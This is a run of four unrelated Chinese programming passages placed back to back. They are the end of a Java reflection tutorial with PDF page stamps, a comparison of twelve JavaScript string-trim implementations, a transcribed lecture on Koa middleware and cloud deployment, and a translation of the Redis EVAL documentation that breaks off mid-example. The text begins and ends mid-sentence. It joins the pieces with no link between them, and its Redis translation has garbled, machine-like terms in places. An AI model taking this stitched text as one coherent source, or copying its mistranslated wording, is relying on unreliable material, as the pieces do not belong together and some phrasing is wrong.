包中的类，表示类的方法，它可以用来获取类中的方法信息或 者执行方法。Constructor 类： Java.lang.reflec 包中的类，表示类的构造方法。反射使用步骤（获取 Class 对象、调用对象方法）获取想要操作的类的 Class 对象，他是反射的核心，通过 Class 对象我们可以任意调用类的方 法。调用 Class 类中的方法，既就是反射的使用阶段。使用反射 API 来操作这些信息。获取 Class 对象的 3 种方法调用某个对象的 getClass() 方法Person p=new Person();Class clazz=p.getClass();调用某个类的 class 属性来获取该类对应的 Class 对象Class clazz=Person.class;使用 Class 类中的 forName() 静态方法 ( 最安全 / 性能最好 )Class clazz=Class.forName("类的全路径"); (最常用)当我们获得了想要操作的类的 Class 对象后，可以通过 Class 类中的方法获取并查看该类中的方法和属性。//获取 Person 类的 Class 对象Class clazz=Class.forName("reflection.Person"); 13/04/2018Page 105 of 283//获取 Person 类的所有方法信息Method[] method=clazz.getDeclaredMethods();for(Method m:method){System.out.println(m.toString()); }//获取 Person 类的所有成员属性信息Field[] field=clazz.getDeclaredFields();for(Field f:field){System.out.println(f.toString()); }//获取 Person 类的所有构造方法信息Constructor[] constructor=clazz.getDeclaredConstructors();for(Constructor c:constructor){System.out.println(c.toString()); }创建对象的两种方法Class 对象的 newInstance()使用 Class 对象的 newInstance()方法来创建该 Class 对象对应类的实例，但是这种方法要求 该 Class 对象对应的类有默认的空构造器。调用 Constructor 对象的 newInstance()先使用 Class 对象获取指定的 Constructor 对象，再调用 Constructor 对象的 newInstance() 方法来创建 Class 对象对应类的实例,通过这种方法可以选定构造方法创建实例。//获取 Person 类的 Class 对象Class clazz=Class.forName("reflection.Person");//使用.newInstane 方法创建对象Person p=(Person) clazz.newInstance();//获取构造方法并创建对象Constructor c=clazz.getDeclaredConstructor(String.class,String.class,int.class);//创建对象并设置属性 13/04/2018Page106 of 283Person p1=(Person) c.newInstance("李四","男",20);

实现1String.prototype.trim = function() {  return this.replace(/^\s\s*/, '').replace(/\s\s*$/, '');}看起来不怎么样，动用了两次正则替换，实际速度非常惊人，主要得益于浏览器的内部优化。一个著名的例子字符串拼接，直接相加比用Array做成的StringBuffer还快。base2类库使用这种实现。实现2String.prototype.trim = function() {  return this.replace(/^\s+/, '').replace(/\s+$/, '');}和实现1很相似，但稍慢一点，主要原因是它最先是假设至少存在一个空白符。Prototype.js使用这种实现，不过其名字为strip，因为Prototype的方法都是力求与Ruby同名。实现3String.prototype.trim = function() {  return this.substring(Math.max(this.search(/\S/), 0),this.search(/\S\s*$/) + 1);}以截取方式取得空白部分（当然允许中间存在空白符），总共调用了四个原生方法。设计得非常巧妙，substring以两个数字作为参数。Math.max以两个数字作参数，search则返回一个数字。速度比上面两个慢一点，但比下面大多数都快。实现4String.prototype.trim = function() {  return this.replace(/^\s+|\s+$/g, '');}这个可以称得上实现2的简化版，就是利用候选操作符连接两个正则。但这样做就失去了浏览器优化的机会，比不上实现3。由于看来很优雅，许多类库都使用它，如JQuery与mootools实现5String.prototype.trim = function() {  var str = this;  str = str.match(/\S+(?:\s+\S+)*/);  return str ? str[0] : '';}match是返回一个数组，因此原字符串符合要求的部分就成为它的元素。为了防止字符串中间的空白符被排除，我们需要动用到非捕获性分组（?:exp）。由于数组可能为空，我们在后面还要做进一步的判定。好像浏览器在处理分组上比较无力，一个字慢。所以不要迷信正则，虽然它基本上是万能的。实现6String.prototype.trim = function() {  return this.replace(/^\s*(\S*(\s+\S+)*)\s*$/, '$1');}把符合要求的部分提供出来，放到一个空字符串中。不过效率很差，尤其是在IE6中。实现7String.prototype.trim = function() {  return this.replace(/^\s*(\S*(?:\s+\S+)*)\s*$/, '$1');}和实现6很相似，但用了非捕获分组进行了优点，性能效之有一点点提升。实现8String.prototype.trim = function() {  return this.replace(/^\s*((?:[\S\s]*\S)?)\s*$/, '$1');}沿着上面两个的思路进行改进，动用了非捕获分组与字符集合，用?顶替了*，效果非常惊人。尤其在IE6中，可以用疯狂来形容这次性能的提升，直接秒杀火狐。实现9String.prototype.trim = function() {  return this.replace(/^\s*([\S\s]*?)\s*$/, '$1');}这次是用懒惰匹配顶替非捕获分组，在火狐中得到改善，IE没有上次那么疯狂。实现10String.prototype.trim = function() {  var str = this,  whitespace = ' \n\r\t\f\x0b\xa0\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u200b\u2028\u2029\u3000';  for (var i = 0,len = str.length; i < len; i++) {    if (whitespace.indexOf(str.charAt(i)) === -1) {      str = str.substring(i);      break;    }  }  for (i = str.length - 1; i >= 0; i--) {    if (whitespace.indexOf(str.charAt(i)) === -1) {      str = str.substring(0, i + 1);      break;    }  }  return whitespace.indexOf(str.charAt(0)) === -1 ? str : '';}我只想说，搞出这个的人已经不是用牛来形容，已是神一样的级别。它先是把可能的空白符全部列出来，在第一次遍历中砍掉前面的空白，第二次砍掉后面的空白。全过程只用了indexOf与substring这个专门为处理字符串而生的原生方法，没有使用到正则。速度快得惊人，估计直逼上内部的二进制实现，并且在IE与火狐（其他浏览器当然也毫无疑问）都有良好的表现。速度都是零毫秒级别的。实现11String.prototype.trim = function() {  var str = this,  str = str.replace(/^\s+/, '');  for (var i = str.length - 1; i >= 0; i--) {    if (/\S/.test(str.charAt(i))) {      str = str.substring(0, i + 1);      break;    }  }  return str;}实现10已经告诉我们普通的原生字符串截取方法是远胜于正则替换，虽然是复杂一点。但只要正则不过于复杂，我们就可以利用浏览器对正则的优化，改善程序执行效率，如实现8在IE的表现。我想通常不会有人在项目中应用实现10，因为那个whitespace 实现太长太难记了（当然如果你在打造一个类库，它绝对是首先）。实现11可谓其改进版，前面部分的空白由正则替换负责砍掉，后面用原生方法处理，效果不逊于原版，但速度都是非常逆天。实现12String.prototype.trim = function() {  var str = this,  str = str.replace(/^\s\s*/, ''),  ws = /\s/,  i = str.length;  while (ws.test(str.charAt(--i)));  return str.slice(0, i + 1);}

1. 什么是Koa? Koa是一个Node.js Web Framework很多人都了解Java，Java里的Maven的是一个依赖的中心仓库，里面会有非常多的依赖；那么如果大家了解Node.js的话，会发现与Maven对标的叫npm，npm也是Node.js开发者常用的仓库。那么Koa就是npm里面一个非常常用的框架，一个依赖库。如果大家浏览过Koa的官网，就会发现Koa主要是基于可扩展模型http协议的一个Web框架。Koa的扩展方式是基于最经典的洋葱模型，它的洋葱模型就是它最核心的部分，即Koa中间件。2. Koa的基础使用当我们用http做一些请求的时候，总会带着各种各样的path，在程序员的话术里叫router。我们通过不同的router进去，就能帮我路由到不同的方法上面去。我们现在推荐直接使用Koa，因为它已经给我们提供好了router。在Koa官网上的github里可以找到很多Koa中间件和依赖库。通过npm install，在本地建一个仓库，这个仓库直接通过Node.js的意外管理工具npm的一个install命令，就可以把Koa装到本地。首先看一下在原生机器上使用Koa的例子。将Koa官网上的helloworld拷贝，它是通过Node.js的最基础的依赖的加载机制，require把Koa这个模块加载进来之后，它是一个class new一个Koa的实例，然后通过Koa的扩展方式，也就是Koa中间件方式，通过use加载Koa中间件，可以实现在一个非常小的内核上扩展web应用，它的Koa内核是一个非常简单的代码。Koa中间件其实是一个很简单的Function。这个Function会有一个ctx参数传进来，这个ctx相比原生的Koa http协议更具吸引力的是，Koa它把原生的 http的request对象和response对象全都代理到了ctx对象上可。也就是说它把请求和响应的各种操作的方法全都代理到了ctx上了。有学过Midway的同学会发现它们的ctx本质上都是Koa。关于Koa的ctx上面具体代理很多东西，大家可以到Koa的官网上查看它的文档。这样一个简单的代码，它应用了一个最小的中间件，这个中间件就是直接拿到ctx，然后 ctx.body我们可以到官方文档上面找到，在官网上ctx.body就是response.body。Koa router这样一个中间件的使用方式。在Koa group里寻找中间件，装好中间件。我写个hi serverless，这里加了一个路由，我们再加第二个，第二个取名叫api，然后它这种中间件的使用方式也是通过这些中间件，最后要返回一个Function给Koa的APP。（演示成果）我们先访问的是/path，出来的就是hi serverless；再访问/api，出来的就是hi api。3. 如何在云上写Koa应用？上面所介绍和演示的都是在本地的Koa基础使用。那么如何在云开发平台上写Koa应用呢？通常我们在Node.js里面，把不同的path叫做不同的路由，特别是在Koa体系中，Koa和express这两套体系主要的相关的这些衍生产品，他们都喜欢管不同的 http请求的path叫路由。本质上通过一个http请求的时候传了不同的path，然后通过不同的path映射到不同的处理方法上。我们这边已经有一个已经ready的Koa的应用迁移方案，大家可以像前几天学的去打开这个界面并新建一个应用，在选择解决方案的时候去勾选Koa的应用迁移方案，然后完成新建。完成新建后，点开发部署并进入云上IDE的界面。云上IDE可以让我们直接在云上写代码，还可以在云上测试。这个整理好的Koa应用里面，使用到了Koa router，这个router已经整理了好几个经典的用法，并且还加了一个body parser中间件。关于body parser中间件，要给大家提一下http这样一个通信协议它本身是有不同的方法的，这个方法英文单词叫Mess。不同的方法有不同的语意，虽然之前有几个很火的帖子和文章一直在讨论说http请求方法其实本质上没有区别，但是它们本身有不同的语意，这些语意有一些仅仅是获取资源而不做任何修改，有一些动作是会产生新的资源，这些新资源出来的一些http请求，通常是被称之为那种有修改的请求。body parser是专门用来去解析除了get请求，就是单纯的获取资源外的处理一些put请求，或post修改或是新增内容请求的数据body的解析中间件，这样的中间件其实用法跟我们刚刚的router其实是类似的，它本质上也是会返回一个函数，然后这个函数会传给Koa，然后Koa的 up会把这些body parser的中间件，还有router这些中间件compose到一起，然后让你顺势去使用它。云上Koa模板跟本地跑的Koa，最大的区别是云上的 APP。我们这个地方因为跟本地稍微有一点区别，所以在云上的Koa的应用是需要把你的APP给通过module.exports给导出来，这样我们的阿里云才能够感知到你的应用，然后才能使用，但是在本地或者是普通的服务器上跑，大家是不需要做这个操作的。了解了区别之后，我们就会知道如把本地的Koa应用迁移到云上的话，最主要的地方是把这个APP通过这样一个方式给导出来就行了。 导出来之后，云端的同学就知道有这样一个APP，它的运行方式跟我们在本地其实是一样的，我们这边的话代码叫APP.js。在云上运行直接是Node APP.js。4. 什么是Koa中间件？导出的APP会在后台运行应用时被require。Koa的中间件把自己定义为普通的function，然后每一个部分都有它自己的function，把这些function组合到一起，接连运行下去，这是Koa对中间件的定义。Koa中间件是它自己定义的一个扩展方法。Koa遵循的设计模式是跟Ruby on rails比较像的，它遵循的原则叫约定大于配置。Koa中间件做的约定是一个函数，它有两个参数，一个ctx一个next，然后这样子的一个函数可以作为一个中间件来使用。由于Koa比较流行，所以在Node里一般讨论中间件就是指Koa中间件。你也可以自己写一个你觉得更好的中间件模型，如果你做的框架流行起来，那么中间件的标准就会变成你的。然后我们在云上跑跟在本地跑区别是差不多的。比如说我写一个body=hi，然后再写一个，我在上面写一个body=hi，这个约定大于配置是说函数本身的，现在我们开始讨论中间件到底是什么东西，然后我把 ctx.body加等于相当于一个Alan，这里就有两个函数，这两个函数都被Koa给使用了。这里的加号写成了等号，这两个函数就都被使用了。这两个函数被组合使用，它一开始是body上是一个hi，然后在第二个函数被使用的时候，这个body就变成了一个hi加上Alan。这是一个很简单的把这两个函数组合起来的一个例子。我们刚刚说了它有一个约定，就是有两个参数一个ctx一个next，要调next，它才会帮你去调下一个函数。我们尝试调一下，hi Alan就出来了。然后 ctx和 next这两个参数是Koa给你约定的，然后这个next是指向下一个函数，那么一个函数套下一个函数，然后再继续套下一个函数，就会发现我们可以很自由的在一个函数从一个Path。换句话说，比如说我们要实现一个 user register用户注册一个API的时候，在注册之前，我们可以在这个函数数组上面的中间任意一个位置加上一个新的逻辑去过滤进来的请求。比如说加一个安全的函数，就会发现所写的函数不管在这中间的任何地方，它其实都处于逻辑中间，所以Koa的作者把这种函数叫做中间件。这个顺序的话，谁先被它use就谁先出现在这个数组里面，但是你也可以把APP上面的数组强行拉出来，然后塞到中间任意一个位置，去做逻辑的处理。当你去写函数的时候，你会发现这个函数可以很轻易的在你的整个逻辑链路的任何位置去做一个扩展，所以它扩展的时候，它就好像一个中间的东西，所以就把这个东西命名成了一个 middleware，是吧？它并不是一个什么software，也不是一个hardware，它是一个middleware。它可以根据业务模块着层处理，而且你可以把一些逻辑单独用一个函数抽出来，然后去复用，在某些需要使用这个逻辑的路由上面，你再去挂这样一个函数。总结一下，当我们从本地的Koa应用迁移到云上的一个很大的区别，是云上的一个应用需要把APP导出来，然后在云开发平台去把 Node的进程提起来，完成测试预览，再输入你的端口，然后去访问这个端口，才能去预览Koa应用。

 EVAL 脚本 numkeys 键[键...] arg [arg ...]自Redis2.6.0版本起可用。时间复杂度：取决于执行的脚本。EVAL介绍EVAL和EVALSHA用于从Redis2.6.0版本，开始使用内置在Redis中的Lua解释器来评估脚本。EVAL的第一个参数是一个Lua 5.1脚本。脚本不需要定义一个Lua函数（不应该）。这只是一个将在Redis服务器上下文中运行的Lua程序。EVAL的第二个参数是脚本后面的参数个数，（从第三个参数开始）代表Redis键名称。参数可以通过Lua中使用来访问KEYS全局变量在基于一个数组（这样的形式KEYS[1]，KEYS[2]...）。所有其他参数不应该代表键名称，可以通过ARGV全局变量被Lua使用，非常类似于键做了什么（如：ARGV[1]，ARGV[2]...）。下面的例子应该阐明上面的内容：> eval "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2]}" 2 key1 key2 first second 1) "key1" 2) "key2" 3) "first" 4) "second"注意：正如你所看到的，Lua数组是以Redis多个批量回复的形式返回的，这是一个Redis返回类型，你的客户端类库可能会用你的编程语言转换成一个Array类型。可以使用两个不同的Lua函数从Lua脚本调用Redis命令： redis.call() redis.pcall() redis.call()类似于redis.pcall()，唯一的区别是，如果一个Redis命令调用会导致一个错误，redis.call()将引发一个Lua错误，反过来会强制EVAL向命令调用者返回一个错误，然而redis.pcall将捕捉错误，并返回一个Lua table代表错误。redis.call()和redis.pcall()函数的参数，是Redis命令格式的所有参数： > eval "return redis.call('set','foo','bar')" 0 OK 上面的脚本将键foo设置为字符串bar。然而，它违反了EVAL命令的语义，因为脚本使用的所有键都应该使用KEYS数组传递：> eval "return redis.call('set',KEYS[1],'bar')" 1 foo OK在执行之前，必须先分析所有Redis命令，以确定命令将在哪些键上运行。为了使EVAL成为真，键必须明确地传递。这在许多方面都很有用，但特别是要确保Redis群集可以将请求转发到适当的群集节点。请注意：为了向用户提供使用Redis单实例配置的机会，不会执行此规则，但要以编写与Redis群集不兼容的脚本为代价。Lua脚本可以使用一组转换规则，返回从Lua类型转换为Redis协议的值。Lua和Redis数据类型之间的转换当Lua使用call()or 调用Redis命令时，Redis返回值被转换为Lua数据类型pcall()。同样，在调用Redis命令和Lua脚本返回值时，Lua数据类型转换为Redis协议，以便脚本可以控制EVAL返回给客户端的值。数据类型之间的这种转换的设计方式是，如果将Redis类型转换为Lua类型，然后将结果转换回Redis类型，则结果与初始值相同。换句话说，Lua和Redis类型之间存在一对一的转换。下表显示了所有的转换规则：Redis到Lua转换表。Redis integer reply -> Lua numberRedis bulk reply -> Lua stringRedis multi bulk reply -> Lua table (may have other Redis data types nested)Redis status reply -> Lua table with a single ok field containing the statusRedis error reply -> Lua table with a single err field containing the errorRedis Nil bulk reply and Nil multi bulk reply -> Lua false boolean typeLua到Redis转换表。Lua number -> Redis integer reply (the number is converted into an integer)Lua string -> Redis bulk replyLua table (array) -> Redis multi bulk reply (truncated to the first nil inside the Lua array if any)Lua table with a single ok field -> Redis status replyLua table with a single err field -> Redis error replyLua boolean false -> Redis Nil bulk reply.还有一个额外的Lua-to-Redis转换规则，它没有对应的Redis到Lua转换规则：Lua boolean true -> Redis integer reply with value of 1.还有两个重要的规则要注意：Lua有一个数字类型，Lua numbers。整数和浮点数没有区别。所以我们总是把Lua数字转换成整数回复，如果有小数部分的话去掉数字的小数部分。如果你想从Lua返回一个浮点数，你应该像字符串一样返回它，就像Redis本身一样（例如见ZSCORE命令）。没有简单的方法，在Lua数组中有nils(There is no simple way to have nils inside Lua arrays)，这是的Lua表语义的结果，所以当Redis的一个Lua数组转换成Redis的协议，如果遇到nil的转换停止。以下是几个转换示例：> eval "return 10" 0 (integer) 10 > eval "return {1,2,{3,'Hello World!'}}" 0 1) (integer) 1 2) (integer) 2 3) 1) (integer) 3 2) "Hello World!" > eval "return redis.call('get','foo')" 0 "bar" 最后一个例子展示它是如何从Lua获得，确切redis.call()或者redis.pcall()的返回值 ，如果命令直接调用将被返回。在下面的例子中，我们可以看到如何处理带有nil的浮点数组和数组： > eval "return {1,2,3.3333,'foo',nil,'bar'}" 0 1) (integer) 1 2) (integer) 2 3) (integer) 3 4) "foo" 正如你可以看到3.333转化成3，bar 永远不会返回的字符串，因为前面是零。Helper函数返回Redis类型有两个helper 函数可以从Lua返回Redis类型。redis.error_reply(error_string)返回错误回复。这个函数只是简单的返回a single field table ，其中的err字段设置为指定的字符串。redis.status_reply(status_string)返回状态回复。这个函数只是简单的返回a single field table ，其中的ok字段设置为指定的字符串。使用helper 函数或直接以指定的格式返回table 没有区别，所以以下两种形式是等价的：return {err="My Error"} return redis.error_reply("My Error")脚本的原子性Redis使用相同的Lua解释器来运行所有的命令。另外，Redis保证以原子方式执行脚本：执行脚本时不会执行其他脚本或Redis命令。这个语义类似于MULTI / EXEC。从所有其他客户的角度来看，脚本的效果要么不可见，要么已经完成。但是这也意味着执行缓慢的脚本不是一个好主意。创建快速脚本并不难，因为脚本开销非常低，但是如果要使用慢速脚本，则应该意识到在脚本运行时，没有其他客户端可以执行命令。错误处理如前所述，redis.call()导致Redis命令错误的调用会停止脚本的执行并返回一个错误，使得脚本错误显而易见： > del foo (integer) 1 > lpush foo a (integer) 1 > eval "return redis.call('get','foo')" 0 (error) ERR Error running script (call to f_6b1bf486c81ceb7edf3c093f4c48582e38c0e791): ERR Operation against a key holding the wrong kind of value 使用redis.pcall()不会引发错误，但错误对象是在上述规定的格式返回（作为一个 Lua table 与err字段）。该脚本可以通过返回redis.pcall()的错误对象，将确切的错误传递给用户。Bandwidth和EVALSHAEVAL命令迫使你一次又一次地发送脚本主体。Redis不需要每次重新编译脚本，因为它使用内部缓存机制，但是在许多情况下支付额外带宽（bandwidth ）的代价可能不是最佳的。另一方面，使用特殊命令或通过定义命令redis.conf 将是一个问题，原因如下： 不同的实例可能有不同的命令实现。 如果我们必须确保所有实例都包含给定的命令，特别是在分布式环境中，则部署非常困难。 阅读应用程序代码，完整的语义可能不清楚，因为应用程序调用命令定义的服务器端。 为了避免这些问题，避免带宽损失，Redis实现了EVALSHA命令。EVALSHA的工作方式与EVAL完全相同，但不是将脚本作为第一个参数，而是使用脚本的SHA1 digest 。行为如下： 如果服务器仍然记住具有匹配的SHA1摘要的脚本，则执行该脚本。 如果服务器不记得具有此SHA1 digest的脚本，则会返回一个特殊错误，告诉客户端使用EVAL。 例：> set foo bar OK > eval "return redis.call('get','foo')" 0 "bar" > evalsha 6b1bf486c81ceb7edf3c093f4c48582e38c0e791 0 "bar" > evalsha ffffffffffffffffffffffffffffffffffffffff 0 (error) `NOSCRIPT` No matching script. Please use [EVAL](/commands/eval).即使客户端实际调用了EVAL，客户端库实现也总能乐观地发送EVALSHA，希望脚本已经被服务器看到了。如果错误返回，将使用EVAL。NOSCRIPT将键和参数作为额外的EVAL参数传递在这个上下文中也是非常有用的，因为脚本字符串保持不变并且可以被Redis有效地缓存。脚本缓存语义执行的脚本被保证永远在Redis实例的给定执行的脚本缓存中。这意味着如果对Redis实例执行EVAL，所有后续的EVALSHA调用都将成功。脚本可以长时间缓存的原因是，编写良好的应用程序不可能有足够的不同脚本来引起内存问题。每个脚本在概念上都像执行一个新的命令，即使是一个大的应用程序也可能只有几百个。即使应用程序被多次修改，脚本也会改变，所使用的内存可以忽略不计。刷新脚本缓存的唯一方法是显式调用SCRIPT FLUSH命令，这将彻底刷新脚本缓存，删除到目前为止执行的所有脚本。这通常仅在实例将被实例化为云环境中的另一个客户或应用程序时才需要。另外，如前所述，重新启动Redis实例刷新脚本缓存，这是不持久的。但是从客户端的角度来看，只有两种方法可以确保Redis实例在两个不同的命令之间不重新启动。我们与服务器的连接是持久的，并且从来没有关闭过。客户端显式检查INFO命令中的runid字段，以确保服务器未重新启动，并且仍然是相同的进程。实际上，对于客户端来说，简单地假设在给定连接的上下文中，保证缓存脚本在那里，除非管理员明确地调用了SCRIPT FLUSH命令。用户可以指望Redis不删除脚本的事实在流水线上下文中是语义上有用的。例如，一个与Redis持久连接的应用程序可以确定，如果脚本一旦被发送，它仍然在内存中，那么EVALSHA就可以在管道中用于这些脚本，而不会由于未知的脚本而产生错误（我们稍后会详细看到这个问题）。一个常见的模式是调用SCRIPT LOAD来加载将出现在管道中的所有脚本，然后直接在管道中使用EVALSHA，而不需要检查由于脚本哈希不被识别而导致的错误。SCRIPT命令Redis提供了一个SCRIPT命令，可以用来控制脚本子系统。SCRIPT目前接受三个不同的命令： 脚本刷新此命令是强制Redis刷新脚本缓存的唯一方法。在云环境中，可以将相同的实例重新分配给不同的用户，这非常有用。测试客户端库的脚本功能实现也很有用。SCRIPT EXISTS sha1 sha2 ... shaN 给定一个SHA1摘要列表作为参数，这个命令返回一个1或0的数组，其中1表示特定的SHA1被识别为已存在于脚本缓存中的脚本，而0表示具有该SHA1的脚本从来没有见过或者至少从未见过最新的SCRIPT FLUSH命令）。SCRIPT LOAD script 该命令将指定的脚本注册到Redis脚本缓存中。这个命令在我们想要确保EVALSHA不会失败的所有上下文中是有用的 （例如在管道或MULTI / EXEC操作期间），而不需要真正执行脚本。SCRIPT KILL 此命令是中断长时间运行的脚本的唯一方法，该脚本达到配置的脚本最大执行时间。SCRIPT KILL命令只能用于在执行期间不修改数据集的脚本（因为停止只读脚本不会违反脚本引擎的保证原子性）。有关长时间运行的脚本的更多信息，请参阅下一节。 脚本作为纯粹的功能脚本的一个非常重要的部分是编写纯函数的脚本。在默认情况下，在Redis实例中执行的脚本会通过发送脚本（而不是结果命令）在从属设备上复制到AOF文件中。原因在于，将脚本发送到另一个Redis实例通常要比发送脚本生成的多个命令快得多，因此如果客户端将大量脚本发送给主设备，则将脚本转换为slave / AOF的单个命令会导致复制链接或“只附加文件”的带宽过多（而且由于调度通过网络接收到的命令，CPU数量也比分派由Lua脚本调用的命令要多得多）。通常复制脚本而不是脚本的效果是有意义的，但不是在所有情况下。因此，从Redis 3.2开始，脚本引擎能够复制脚本执行产生的写入命令序列，而不是复制脚本本身。请参阅下一节获取更多信息。在本节中，我们将假设通过发送整个脚本来复制脚本。我们把这个复制模式称为整个脚本复制。整个脚本复制方法的主要缺点是脚本需要具有以下属性：脚本必须始终使用给定相同输入数据集的相同参数来评估相同的Redis 写入命令。由脚本执行的操作不能依赖于任何隐藏的（非显式的）信息或状态，这些信息或状态可能会随着脚本执行的进行或脚本的不同执行而改变，也不能依赖于来自I / O设备的任何外部输入。比如使用系统时间，调用像RANDOMKEY这样的Redis随机命令 ，或者使用Lua随机数生成器，都可能导致脚本不总是以相同的方式进行评估。为了在脚本中执行这个行为，Redis执行以下操作：Lua不会导出命令来访问系统时间或其他外部状态。如果一个脚本调用了一个Redis命令，Redis命令可以在RANDOMKEY，SRANDMEMBER，TIME之类的Redis 随机命令 之后修改数据集， Redis将会阻塞该脚本。这意味着如果一个脚本是只读的，并且不修改数据集，则可以自由地调用这些命令。请注意，随机命令不一定意味着使用随机数的命令：任何非确定性命令都被视为随机命令（这方面的最佳示例是TIME命令）。可能以随机顺序返回元素的Redis命令 （如SMEMBERS（因为Redis集合是无序的））在从Lua调用时具有不同的行为，并在将数据返回到Lua脚本之前经历无声的词典排序过滤器。因此，redis.call("smembers",KEYS[1])将始终以相同的顺序返回Set元素，而从普通客户端调用的相同命令可能会返回不同的结果，即使该键包含完全相同的元素。Lua伪随机数生成函数，math.random并且 math.randomseed被修改以便每次执行新的脚本时始终具有相同的种子。这意味着math.random如果math.randomseed不使用脚本，每次执行脚本时，调用将始终生成相同的数字序列。但是用户仍然可以使用以下简单的技巧编写随机行为的命令。想象一下，我想写一个Redis脚本，用N个随机整数填充一个列表。我可以从这个小小的Ruby程序开始：require 'rubygems' require 'redis' r = Redis.new RandomPushScript = <<EOF local i = tonumber(ARGV[1]) local res while (i > 0) do res = redis.call('lpush',KEYS[1],math.random()) i = i-1 end return res EOF r.del(:mylist) puts r.eval(RandomPushScript,[:mylist],[10,rand(2**32)])每次执行该脚本时，结果列表都将具有以下元素：> lrange mylist 0 -1 1) "0.74509509873814" 2) "0.87390407681181" 3) "0.36876626981831" 4) "0.6921941534114" 5) "0.7857992587545" 6) "0.57730350670279" 7) "0.87046522734243" 8) "0.09637165539729" 9) "0.74990198051087" 10) "0.17082803611217"为了使它成为一个纯函数，但仍然要确保每个脚本的调用都会导致不同的随机元素，我们可以简单地向脚本添加一个额外的参数，这个参数将用于播种Lua伪随机数发电机。新的脚本如下：RandomPushScript = <<EOF local i = tonumber(ARGV[1]) local res math.randomseed(tonumber(ARGV[2])) while (i > 0) do res = redis.call('lpush',KEYS[1],math.random()) i = i-1 end return res EOF r.del(:mylist) puts r.eval(RandomPushScript,1,:mylist,10,rand(2**32))我们在这里做的是发送PRNG的种子作为论据之一。这样，给定相同参数的脚本输出将是相同的，但我们正在改变每个调用中的一个参数，生成随机种子客户端。种子将作为复制链接和“附加文件”中的参数之一传播，以保证在重新加载AOF或从属进程处理脚本时将生成相同的更改。注意：这种行为的一个重要部分是Redis实现的PRNG，math.random并math.randomseed保证具有相同的输出，而不管运行Redis的系统的体系结构如何。32位，64位，大端和小端系统都将产生相同的输出。复制命令而不是脚本从Redis 3.2开始，可以选择另一种复制方法。我们可以复制脚本生成的单个写入命令，而不是复制整个脚本。我们将这个脚本称为复制。在这种复制模式下，当执行Lua脚本时，Redis收集由Lua脚本引擎执行的所有实际修改数据集的命令。当脚本执行结束时，脚本生成的命令序列被包装到一个MULTI / EXEC事务中，并被发送到从属和AOF。根据用例，这在几个方面是有用的：当脚本计算速度慢时，但是这些效果可以通过一些写入命令来总结，重新计算从属脚本或重新加载AOF时，这是一个耻辱。在这种情况下只复制脚本的效果要好得多。当启用脚本效果复制时，关于非确定性功能的控件被禁用。例如，您可以在任何地方随意使用脚本中的TIME 或SRANDMEMBER命令。在这种模式下的Lua PRNG在每个呼叫中随机播种。为了启用脚本特效复制，您需要在脚本操作之前发出以下Lua命令：redis.replicate_commands()如果启用了脚本特效复制，则该函数返回true;否则，如果在脚本已经调用某个写入命令后调用该函数，则返回false，并使用正常的整个脚本复制。命令的选择性复制当选择脚本特效复制（参见上一节）时，可以更多地控制命令复制到从站和AOF的方式。这是一个非常先进的功能，因为滥用可以通过违反主控，从属和AOF都必须包含相同的逻辑内容的合同来造成破坏。然而，这是一个有用的功能，因为有时我们只需要在主服务器上执行某些命令来创建中间值。在我们执行两个集合之间的交集的Lua脚本中思考。选取五个随机元素，并用这五个随机元素创建一个新的集合。最后，我们删除表示两个原始集之间交集的临时密钥。我们要复制的只是五行元素的创造。还复制创建临时密钥的命令是没有用的。因此，Redis 3.2引入了一个新的命令，该命令仅在启用脚本特效复制时才起作用，并且能够控制脚本复制引擎。redis.set_repl()如果禁用脚本特技复制，则调用该命令并在调用时失败。该命令可以用四个不同的参数来调用：redis.set_repl(redis.REPL_ALL) -- Replicate to AOF and slaves. redis.set_repl(redis.REPL_AOF) -- Replicate only to AOF. redis.set_repl(redis.REPL_SLAVE) -- Replicate only to slaves. redis.set_repl(redis.REPL_NONE) -- Don't replicate at all.默认情况下，脚本引擎始终设置为REPL_ALL。通过调用此函数，用户可以打开/关闭AOF和/或从属复制，并稍后按照自己的意愿将其复位。一个简单的例子如下：redis.replicate_commands() -- Enable effects replication. redis.call('set','A','1') redis.set_repl(redis.REPL_NONE) redis.call('set','B','2') redis.set_repl(redis.REPL_ALL) redis.call('set','C','3')在运行上面的脚本之后，结果是在从属和AOF上只创建了A和C键。全局变量保护Redis脚本不允许创建全局变量，以避免数据泄露到Lua状态。如果脚本需要在调用之间保持状态（非常罕见），应该使用Redis键。当尝试全局变量访问时，脚本被终止，EVAL返回一个错误：redis 127.0.0.1:6379> eval 'a=10' 0 (error) ERR Error running script (call to f_933044db579a2f8fd45d8065f04a8d0249383e57): user_script:1: Script attempted to create global variable 'a'访问一个不存在的全局变量会产生类似的错误。使用Lua调试功能或其他方法（例如修改用于实现全局保护的元表来避免全局保护）并不难。然而，意外地做到这一点很困难。如果用户使用Lua全局状态混淆，则AOF和复制的一致性不能保证：不要这样做。注意Lua新手：为了避免在脚本中使用全局变量，只需使用local关键字声明要使用的每个变量。在脚本中使用SELECT可以像使用普通客户端一样在Lua脚本中调用SELECT。但是，Redis 2.8.11和Redis 2.8.12之间行为的一个细微方面发生了变化。在2.8.12发行版之前，由Lua脚本选择的数据库作为当前数据库被传输到调用脚本。从Redis 2.8.12开始，由Lua脚本选择的数据库只影响脚本本身的执行，但不会修改调用脚本的客户端选择的数据库。修补程序级别版本之间的语义变化是必需的，因为旧的行为本身与Redis复制层不兼容，并且是错误的原因。可用的库Redis Lua解释器加载以下Lua库：base 库。 table 库。 string 库。 math 库。 struct 库。 cjson 库。 cmsgpack 库。 bitop 库。 redis.sha1hex 功能。 redis.breakpoint and redis.debug函数在Redis Lua调试器的上下文中。每个Redis实例都保证具有上述所有库，因此您可以确保Redis脚本的环境始终如一。struct，CJSON和cmsgpack是外部库，所有其他库都是标准的Lua库。结构struct是一个在Lua中打包/解包结构的库。Valid formats:> - big endian< - little endian![num] - alignmentx - padingb/B - signed/unsigned byteh/H - signed/unsigned shortl/L - signed/unsigned longT - size_ti/In - signed/unsigned integer with size `n' (default is size of int)cn - sequence of `n' chars (from/to a string); when packing, n==0 meansthe whole string; when unpacking, n==0 means use the previousread number as the string lengths - zero-terminated stringf - floatd - double' ' - ignored例：127.0.0.1:6379> eval 'return struct.pack("HH", 1, 2)' 0 "\x01\x00\x02\x00" 127.0.0.1:6379> eval 'return {struct.unpack("HH", ARGV[1])}' 0 "\x01\x00\x02\x00" 1) (integer) 1 2) (integer) 2 3) (integer) 5 127.0.0.1:6379> eval 'return 